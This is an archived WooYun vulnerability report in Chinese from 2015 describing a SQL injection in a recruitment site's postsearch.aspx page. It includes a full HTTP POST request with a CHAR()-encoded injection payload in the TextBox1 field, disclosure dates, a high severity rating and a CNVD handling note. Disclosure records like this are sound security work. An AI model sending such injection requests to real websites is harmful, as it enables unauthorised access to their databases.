乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-01: 细节已通知厂商并且等待厂商处理中 2015-11-05: 厂商已经确认,细节仅向厂商公开 2015-11-15: 细节向核心白帽子及相关领域专家公开 2015-11-25: 细节向普通白帽子公开 2015-12-05: 细节向实习白帽子公开 2015-12-20: 细节向公众公开
涉及10个左右数据库。
1、注入点:
POST /postsearch.aspx HTTP/1.1Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://**.**.**.**Referer: http://**.**.**.**/postsearch.aspxAccept-Language: en-us,en;q=0.5Host: **.**.**.**Cookie: ASP.NET_SessionId=tc300dsnjcaeth2ssciulg5j; safedog-flow-item=0AE14BCB0CC9D9FC79FF7D5F6337A4F1Accept-Encoding: gzip, deflateContent-Length: 8671Content-Type: application/x-www-form-urlencoded__VIEWSTATE=%2fwEPDwUJOTIwOTUwNzEwD2QWBGYPFgIeBFRleHQFSAo8TUVUQSBuYW1lPSJLZXl3b3JkcyIgY29udGVudD0iIj4KDTxNRVRBIG5hbWU9IkRlc2NyaXB0aW9uIiBjb250ZW50PSIiPmQCAQ9kFgoCAQ9kFgICAQ8WAh8ABTY8aW1nIHNyYz0iaW1hZ2VzL3JjenAuanBnIiB3aWR0aD0iOTQyIiBoZWlnaHQ9IjIwMCIgLz5kAgMPZBYEAgEPFgIfAAUgPGltZyBzcmM9ImltYWdlcy9sZWZ0XzA0LmpwZyIgLz5kAgsPFgIeB1Zpc2libGVnZAIJDxYCHwAF9wYNCuWbveS7peaJjeeri%2b%2b8jOS4muS7peaJjeWFtOOAguS6uuaJjeaYr%2bS8geS4muWPkeWxleeahOagueacrO%2b8jOaYr%2baOqOWKqOS8geS4mui3qOi2iuW8j%2bWPkeWxleeahOesrOS4gOeUn%2bS6p%2bWKm%2bOAguaBkuWkp%2bmHjeinhuWboumYn%2bW7uuiuvu%2b8jOWkmua4oOmBk%2bW8lei%2fm%2bS6uuaJjeOAgemrmOaViOacuuWItuWfueWFu%2bS6uuaJjeOAgeW5v%2bmYlOW5s%2bWPsOaZi%2bWNh%2bS6uuaJje%2b8jOS4uuS8geS4muWcqOa%2fgOeDiOernuS6ieS4reeri%2bS6juS4jei0peS5i%2bWcsOaPkOS%2bm%2bW8uuacieWKm%2beahOS%2fnemanOOAgg0K5Zyo5byV6L%2bb5Lq65omN5pa56Z2i77yM5oGS5aSn5bu656uL6auY5qCH5YeG44CB6YCC5bqm6LaF5YmN55qE5Lq65omN5byV5YWl5py65Yi277yM5byA6L6f5qCh5Zut5oub6IGY44CB56S%2b5Lya5oub6IGY44CB5rW35aSW5byV6L%2bb562J5rig6YGT77yM5bm%2f57qz6LSk5omN77yM5Lil5qC8562b6YCJ77yM5aSn5rWq5reY6YeR44CCDQrlnKjln7norq3kurrmiY3mlrnpnaLvvIzmgZLlpKflu7rnq4vkuoblhajmlrnkvY3jgIHns7vnu5%2fljJbnmoTln7norq3kvZPns7vvvIzku6XmlofljJbono3lhaXkuLrlhbPplK7vvIzku6XorqHliJLnrqHnkIbkuLrmoLjlv4PvvIzku6XlnKjlrp7miJjkuK3mj5DljYflkZjlt6Xog73lipvmsLTlubPkuLrokL3ohJrngrnvvIzln7nlhbvkuobkuIDmibnlj4jkuIDmibnliqrlipvmi7zmkI%2fjgIHlvIDmi5Pov5vlj5bnmoTmgZLlpKfkurrjgIINCuWcqOaZi%2bWNh%2bS6uuaJjeaWuemdou%2b8jOaBkuWkp%2beahOmrmOmAn%2bOAgeWkmuWFg%2bWMluWPkeWxle%2b8jOS4uuavj%2bS4gOS4quaBkuWkp%2bS6uuaPkOS%2bm%2bS6huW5v%2bmYlOeahOWPkeWxleepuumXtOWSjOaZi%2bWNh%2bW5s%2bWPsOOAguWRmOW3peeahOS4u%2bingi4uLmQCDw88KwAJAQAPFgQeCERhdGFLZXlzFgAeC18hSXRlbUNvdW50AgpkFhQCAQ9kFgJmDxULATEBMQbmloflkZgBMQExATEV6LS16Ziz5Y%2bK5ZGo6L655Z%2bO5biCAAAAtALmi5vogZjmnaHku7bvvJrlpbPvvIwyOOWygeS7peS4i%2b%2b8jOS4reaWh%2betieebuOWFs%2bS4k%2bS4muacrOenkeWPiuS7peS4iuWtpuWOhu%2b8jOesrOS4gOWtpuWOhuacrOenke%2b8jOebuOiyjOerr%2bW6hO%2b8jOawlOi0qOS9s%2b%2b8jOaciei%2bg%2bW8uueahOWNj%2biwg%2biDveWKm%2bWSjOivreiogOihqOi%2bvuiDveWKm%2bOAgg0KDQrlpIfms6jvvJrmraTlspfkvY3lj6%2fog73lnKjotLXpmLPluILmiJblkajovrnln47luILlt6XkvZzjgIINCg0K6IGU57O75Lq677ya5b6Q5bCP5aeQICDmmJPlsI%2flp5ANCuiBlOezu%2beUteivne%2b8mjQ4NTQ1NzEgNDg1MjE1N2QCAg9kFgJmDxULATIBMhnkurrkuovkuJPlkZgv6KGM5pS%2f5LiT5ZGYATIBMgEyFei0temYs%2bWPiuWRqOi%2bueWfjuW4ggAANOW3peS9nOe7j%2bmqjDflubTku6XkuIrolqrotYTlvoXpgYfvvJoxMDAwMOWFgy%2fmnIjotbesAuaLm%2biBmOadoeS7tu%2b8mjI3772eNDDlsoHvvIzkurrlipvotYTmupDjgIHooYzmlL%2fnrqHnkIbnrYnnm7jlhbPkuJPkuJrmnKznp5Hlj4rku6XkuIrlrabljobvvIznrKzkuIDlrabljobmnKznp5Hmr5XkuJo15bm05Lul5LiK77yMNeW5tOS7peS4iuebuOWFs%2bWyl%2bS9jeW3peS9nOe7j%2bmqjOOAgg0KDQrlpIfms6jvvJrmraTlspfkvY3lj6%2fog73lnKjotLXpmLPluILmiJblkajovrnln47luILlt6XkvZzjgIINCg0K6IGU57O75Lq677ya5b6Q5bCP5aeQICDmmJPlsI%2flp5ANCuiBlOezu%2beUteivne%2b8mjQ4NTQ1NzEgNDg1MjE1N2QCAw9kFgJmDxULATMBMwnkvJrorqHluIgBMwEzATMV6LS16Ziz5Y%2bK5ZGo6L655Z%2bO5biCAAA05bel5L2c57uP6aqMN%2bW5tOS7peS4iuiWqui1hOW%2bhemBh%2b%2b8mjExNTAw5YWDL%2baciOi1t%2bsC5oub6IGY5p2h5Lu277yaMjfvvZ40MOWyge%2b8jOi0ouS8muOAgemHkeiejeetieebuOWFs%2bS4k%2bS4muacrOenkeWPiuS7peS4iuWtpuWOhu%2b8jOesrOS4gOWtpuWOhuacrOenkeavleS4mjXlubTku6XkuIrvvIw15bm05Lul5LiK55u45YWz5bKX5L2N5bel5L2c57uP6aqM77yM54af57uD5pON5L2c55u45YWz6LSi5Yqh6L2v5Lu277yM5pyJ5oi%2f5Zyw5Lqn6KGM5Lia5bel5L2c57uP6aqM6ICF5LyY5YWI44CCDQoNCuWkh%2bazqO%2b8muatpOWyl%2bS9jeWPr%2biDveWcqOi0temYs%2bW4guaIluWRqOi%2bueWfjuW4guW3peS9nOOAgg0KDQrogZTns7vkurrvvJrlvpDlsI%2flp5AgIOaYk%2bWwj%2bWnkA0K6IGU57O755S16K%2bd77yaNDg1NDU3MSA0ODUyMTU3ZAIED2QWAmYPFQsBNAE0BuWHuue6swE0ATQBNBXotLXpmLPlj4rlkajovrnln47luIIAAADBAuaLm%2biBmOadoeS7tu%2b8mjI0772eMzXlsoHvvIzkvJrorqHlrabmiJbotKLliqHnrqHnkIbnsbvnm7jlhbPkuJPkuJrmnKznp5Hlj4rku6XkuIrlrabljobvvIznrKzkuIDlrabljobmnKznp5Hmr5XkuJoy5bm05Lul5LiK77yMMuW5tOS7peS4iuWHuue6s%2bW3peS9nOe7j%2bmqjO%2b8jOWFt%2bWkh%2biJr%2bWlveeahOiBjOS4muaTjeWuiOOAgg0KDQrlpIfms6jvvJrmraTlspfkvY3lj6%2fog73lnKjotLXpmLPluILmiJblkajovrnln47luILlt6XkvZzjgIINCg0K6IGU57O75Lq677ya5b6Q5bCP5aeQICDmmJPlsI%2flp5ANCuiBlOezu%2beUteivne%2b8mjQ4NTQ1NzEgNDg1MjE1N2QCBQ9kFgJmDxULATUBNQbmlLbpk7YBNQE1ATUV6LS16Ziz5Y%2bK5ZGo6L655Z%2bO5biCAAAAoQPmi5vogZjmnaHku7bvvJoyM%2b%2b9njM15bKB77yM5Lya6K6h5a2m5oiW6LSi5Yqh566h55CG57G755u45YWz5LiT5Lia5pys56eR5Y%2bK5Lul5LiK5a2m5Y6G77yM56ys5LiA5a2m5Y6G5pys56eR5q%2bV5LiaMeW5tOS7peS4iu%2b8jDHlubTku6XkuIrmlLbpk7blt6XkvZznu4%2fpqozvvIznhp%2fnu4Pmk43kvZzpk7bogZTliLfljaHns7vnu5%2flj4rnnJ%2flgYfluIHor4bliKvvvIzlhbflpIfoia%2flpb3nmoTogYzkuJrmk43lrojvvIzmnInmiL%2flnLDkuqfkvIHkuJrmlLbpk7blt6XkvZznu4%2fpqozkvJjlhYjjgIINCg0K5aSH5rOo77ya5q2k5bKX5L2N5Y%2bv6IO95Zyo6LS16Ziz5biC5oiW5ZGo6L655Z%2bO5biC5bel5L2c44CCDQoNCuiBlOezu%2bS6uu%2b8muW%2bkOWwj%2bWnkCAg5piT5bCP5aeQDQrogZTns7vnlLXor53vvJo0ODU0NTcxIDQ4NTIxNTdkAgYPZBYCZg8VCwE2ATYJ5oql5bu65ZGYATYBNgE2Fei0temYs%2bWPiuWRqOi%2bueWfjuW4ggAANOW3peS9nOe7j%2bmqjDflubTku6XkuIrolqrotYTlvoXpgYfvvJoxMDAwMOWFgy%2fmnIjotbehA%2baLm%2biBmOadoeS7tu%2b8mjIz772eMzXlsoHvvIzkvJrorqHlrabmiJbotKLliqHnrqHnkIbnsbvnm7jlhbPkuJPkuJrmnKznp5Hlj4rku6XkuIrlrabljobvvIznrKzkuIDlrabljobmnKznp5Hmr5XkuJox5bm05Lul5LiK77yMMeW5tOS7peS4iuaUtumTtuW3peS9nOe7j%2bmqjO%2b8jOeGn%2be7g%2baTjeS9nOmTtuiBlOWIt%2bWNoeezu%2be7n%2bWPiuecn%2bWBh%2bW4geivhuWIq%2b%2b8jOWFt%2bWkh%2biJr%2bWlveeahOiBjOS4muaTjeWuiO%2b8jOacieaIv%2bWcsOS6p%2bS8geS4muaUtumTtuW3peS9nOe7j%2bmqjOS8mOWFiOOAgg0KDQrlpIfms6jvvJrmraTlspfkvY3lj6%2fog73lnKjotLXpmLPluILmiJblkajovrnln47luILlt6XkvZzjgIINCg0K6IGU57O75Lq677ya5b6Q5bCP5aeQICDmmJPlsI%2flp5ANCuiBlOezu%2beUteivne%2b8mjQ4NTQ1NzEgNDg1MjE1N2QCBw9kFgJmDxULATcBNw%2flu7rnrZHorr7orqHluIgBNwE3ATcV6LS16Ziz5Y%2bK5ZGo6L655Z%2bO5biCAAA05bel5L2c57uP6aqMN%2bW5tOS7peS4iuiWqui1hOW%2bhemBh%2b%2b8mjE0NTAw5YWDL%2baciOi1t%2fAC5oub6IGY5p2h5Lu277yaMjfvvZ40MOWyge%2b8jOW7uuetkeexu%2bebuOWFs%2bS4k%2bS4muacrOenkeWPiuS7peS4iuWtpuWOhu%2b8jOesrOS4gOWtpuWOhuacrOenkeavleS4mjXlubTku6XkuIrvvIw15bm05Lul5LiK5pys5LiT5Lia6K6%2b6K6h5bel5L2c57uP6aqM77yM6IO954us56uL5a6M5oiQ5aSn44CB5Lit5Z6L6aG555uu6K6%2b6K6h77yM5pyJ55Sy57qn6K6%2b6K6h6Zmi5bel5L2c57uP6aqM6ICF5LyY5YWI44CCDQoNCuWkh%2bazqO%2b8muatpOWyl%2bS9jeWPr%2biDveWcqOi0temYs%2bW4guaIluWRqOi%2bueWfjuW4guW3peS9nOOAgg0KDQrogZTns7vkurrvvJrlvpDlsI%2flp5AgIOaYk%2bWwj%2bWnkA0K6IGU57O755S16K%2bd77yaNDg1NDU3MSA0ODUyMTU3DQpkAggPZBYCZg8VCwE4ATg857uT5p6EL%2be7meaOkuawtC%2fnlLXmsJQv5pqW6YCaL%2badkOaWmS%2flrqTlhoUv5Zut5p6X6K6%2b6K6h5biIATgBOAE4Fei0temYs%2bWPiuWRqOi%2bueWfjuW4ggAANOW3peS9nOe7j%2bmqjDflubTku6XkuIrolqrotYTlvoXpgYfvvJoxMjMwMOWFgy%2fmnIjotbflAuaLm%2biBmOadoeS7tu%2b8mjI3772eNDDlsoHvvIznm7jlhbPkuJPkuJrmnKznp5Hlj4rku6XkuIrlrabljobvvIznrKzkuIDlrabljobmnKznp5Hmr5XkuJo15bm05Lul5LiK77yMNeW5tOS7peS4iuacrOS4k%2bS4muiuvuiuoeW3peS9nOe7j%2bmqjO%2b8jOiDveeLrOeri%2bWujOaIkOWkp%2bOAgeS4reWei%2bmhueebruiuvuiuoe%2b8jOacieeUsue6p%2biuvuiuoemZouW3peS9nOe7j%2bmqjOiAheS8mOWFiOOAgg0KDQrlpIfms6jvvJrmraTlspfkvY3lj6%2fog73lnKjotLXpmLPluILmiJblkajovrnln47luILlt6XkvZzjgIINCg0K6IGU57O75Lq677ya5b6Q5bCP5aeQICDmmJPlsI%2flp5ANCuiBlOezu%2beUteivne%2b8mjQ4NTQ1NzEgNDg1MjE1N2QCCQ9kFgJmDxULATkBOQ%2fmi5vmoIflt6XnqIvluIgBOQE5ATkV6LS16Ziz5Y%2bK5ZGo6L655Z%2bO5biCAAA05bel5L2c57uP6aqMN%2bW5tOS7peS4iuiWqui1hOW%2bhemBh%2b%2b8mjExNTAw5YWDL%2baciOi1t%2boC5oub6IGY5p2h5Lu277yaIDI3772eNDDlsoHvvIzlt6XnqIvpgKDku7fnrYnnm7jlhbPkuJPkuJrmnKznp5Hlj4rku6XkuIrlrabljobvvIznrKzkuIDlrabljobmnKznp5Hmr5XkuJo15bm05Lul5LiK77yI5aSn5LiT5q%2bV5LiaN%2bW5tOS7peS4iu%2b8ie%2b8jDXlubTku6XkuIrnm7jlhbPlspfkvY3lt6XkvZznu4%2fpqozvvIznsr7pgJrnm7jlhbPmlL%2fnrZbms5Xop4TvvIznhp%2fmgonpgKDku7fooYzmg4XjgIINCg0K5aSH5rOo77ya5q2k5bKX5L2N5Y%2bv6IO95Zyo6LS16Ziz5biC5oiW5ZGo6L655Z%2bO5biC5bel5L2c44CCDQoNCuiBlOezu%2bS6uu%2b8muW%2bkOWwj%2bWnkCAg5piT5bCP5aeQDQrogZTns7vnlLXor53vvJo0ODU0NTcxIDQ4NTIxNTdkAgoPZBYCZg8VCwIxMAIxMBLpooTlhrPnrpflt6XnqIvluIgCMTACMTACMTAV6LS16Ziz5Y%2bK5ZGo6L655Z%2bO5biCAAA05bel5L2c57uP6aqMN%2bW5tOS7peS4iuiWqui1hOW%2bhemBh%2b%2b8mjExNTAw5YWDL%2baciOi1t%2bkC5oub6IGY5p2h5Lu277yaMjfvvZ40MOWyge%2b8jOW3peeoi%2bmAoOS7t%2betieebuOWFs%2bS4k%2bS4muacrOenkeWPiuS7peS4iuWtpuWOhu%2b8jOesrOS4gOWtpuWOhuacrOenkeavleS4mjXlubTku6XkuIrvvIjlpKfkuJPmr5XkuJo35bm05Lul5LiK77yJ77yMNeW5tOS7peS4iuebuOWFs%2bWyl%2bS9jeW3peS9nOe7j%2bmqjO%2b8jOeyvumAmuebuOWFs%2baUv%2betluazleinhO%2b8jOeGn%2baCiemAoOS7t%2bihjOaDheOAgg0KDQrlpIfms6jvvJrmraTlspfkvY3lj6%2fog73lnKjotLXpmLPluILmiJblkajovrnln47luILlt6XkvZzjgIINCg0K6IGU57O75Lq677ya5b6Q5bCP5aeQICDmmJPlsI%2flp5ANCuiBlOezu%2beUteivne%2b8mjQ4NTQ1NzEgNDg1MjE1N2QCEQ8PFgQeDF9yZWNvcmRjb3VudAIlHhBDdXJyZW50UGFnZUluZGV4ZmRkZKvqE1Wl%2bVelP9npSf7%2f5KyF92ZZnKZM3tau3CQxh1Um&__EVENTTARGET=AspNetPager1&__EVENTARGUMENT=2&__EVENTVALIDATION=%2fwEWAwLSvqqgDwLs0bLrBgKM54rGBonDAVWbvdIaXBjT8dT8OL73b9rqQMEDEhi9msER9j56&TextBox1=%27AND+1%3d(CHAR(95)%2bCHAR(33)%2bCHAR(64)%2bCHAR(50)%2bCHAR(100)%2bCHAR(105)%2bCHAR(108)%2bCHAR(101)%2bCHAR(109)%2bCHAR(109)%2bCHAR(97))%2b%27
2、注入参数:
3、涉及DB:
没有继续。
过滤
危害等级:高
漏洞Rank:10
确认时间:2015-11-05 14:48
CNVD确认所述漏洞情况,暂未建立与网站管理单位的直接处置渠道,待认领。
暂无